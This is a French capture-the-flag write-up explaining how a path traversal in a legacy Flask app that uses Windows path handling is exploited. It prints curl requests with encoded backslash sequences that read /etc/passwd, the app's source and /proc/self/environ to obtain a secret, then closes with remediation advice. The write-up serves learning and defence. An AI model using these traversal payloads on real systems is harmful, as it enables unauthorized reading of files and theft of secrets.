Solution de rachid4020 pour Old is better than new

web python

13 février 2026

Introduction

Dans ce challenge web, l’objectif était d’identifier et d’exploiter une vulnérabilité présente dans une application Flask simulant un ancien comportement Windows. L’application s’exécute avec les versions suivantes :

  • Werkzeug 0.9.6
  • Flask 0.9
  • Python 2.7

Le titre “Old is better than new” laisse supposer qu’un comportement hérité (legacy), probablement lié à Windows, est au cœur de la vulnérabilité.

Phase de reconnaissance

La première étape a consisté à analyser les en-têtes HTTP du serveur afin d’identifier la technologie utilisée. Commande exécutée :

$ curl -i http://localhost:8000/
НTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Last-Modified: Fri, 25 Apr 2025 20:01:04 GMT
Cache-Control: public, max-age=43200
Expires: Sat, 14 Feb 2026 09:17:27 GMT
ETag: "flask-1745611264.0-7558-1554647113"
Date: Fri, 13 Feb 2026 21:17:27 GMT
Connection: close
Server: Werkzeug/0.9.6 Python/2.7.18

On constate l’utilisation d’anciennes versions de Flask et Werkzeug, ce qui peut indiquer la présence de mécanismes de sécurité obsolètes ou mal implémentés.

Identification de la vulnérabilité

L’application sert les fichiers via la fonction : return send_from_directory(PUBLIC_DIR, path or “index.html”) Une tentative classique de Path Traversal en utilisant ../ a été réalisée :

$ curl http://localhost:8008/..%2f..%2f..%2fetc%2fpasswd
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>404 Not Found/title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>

Cette tentative retourne une erreur 404, ce qui signifie que le filtrage de ../ est actif. Cependant, en utilisant une version encodée du séparateur Windows (\) :

$ curl http://localhost:8000/%2e%2e%5c%2e%2e%5c%2e%2e%5cetc%5cpasswd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:1p:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13 :news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12 ::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin

Le contenu du fichier /etc/passwd est correctement affiché. La vulnérabilité est donc confirmée.

Analyse technique

L’analyse du code source, récupéré via le Path Traversal, montre les lignes suivantes :

import ntpath
path = ntpath

L’application force ainsi un comportement de gestion des chemins similaire à Windows. Le problème provient du fait que :

  • Le filtrage bloque la séquence ../
  • Mais n’interdit pas la séquence ..\
  • %5c est décodé en \
  • Sous Windows, \ est un séparateur valide

Ainsi : %2e%2e%5c = ..\ Ce mécanisme permet de sortir du répertoire public et d’accéder à l’ensemble du système de fichiers.

Lecture du code source

Grâce à la vulnérabilité, le fichier app.py a été récupéré : curl http://localhost:8000/%2e%2e%5c%2e%2e%5capp%5capp.py

Le code révèle notamment :

app.secret_key = os.environ.get("APP_SECRET")

Cela suggère que des informations sensibles peuvent être stockées dans les variables d’environnement.

Extraction des variables d’environnement

Les variables d’environnement du processus ont été consultées via :

$ curl -s http://localhost:8000/%2e%2e%5c%2e%2e%5c%2e%2e%5cproc%5cself%5cenviron | tr '\\0' '\\n'
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=fc3e130df945
APP_SECRET=ce9fbd88ac4eec98482b6aaf623adee54060b1ef477c677437a1982fbda0e4ac
HOME=/dev/null

Parmi les variables affichées on retrouve APP_SECRET. Cette valeur correspond à une chaîne hexadécimale de 64 caractères, typiquement utilisée pour représenter un secret ou un hash.

Identification du flag

Le format attendu pour le flag est : FCSC{hash_hex}

En intégrant la valeur récupérée dans ce format, on obtient : FCSC{ce9fbd88ac4eec98482b6aaf623adee54060b1ef477c677437a1982fbda0e4ac}

Conclusion

Ce challenge met en évidence une vulnérabilité de Path Traversal due à une mauvaise gestion des chemins combinant :

  • Un comportement Windows simulé (ntpath)
  • Un filtrage incomplet des séquences de remontée de répertoire
  • L’acceptation du séparateur \ encodé

Cette faille permet :

  • La lecture arbitraire de fichiers système
  • L’accès au code source de l’application
  • L’extraction de variables d’environnement sensibles

Ce type de vulnérabilité rappelle l’importance :

  • De normaliser correctement les chemins avant validation
  • De ne jamais se reposer uniquement sur des filtrages partiels
  • De protéger strictement les secrets applicatifs (variables ENV)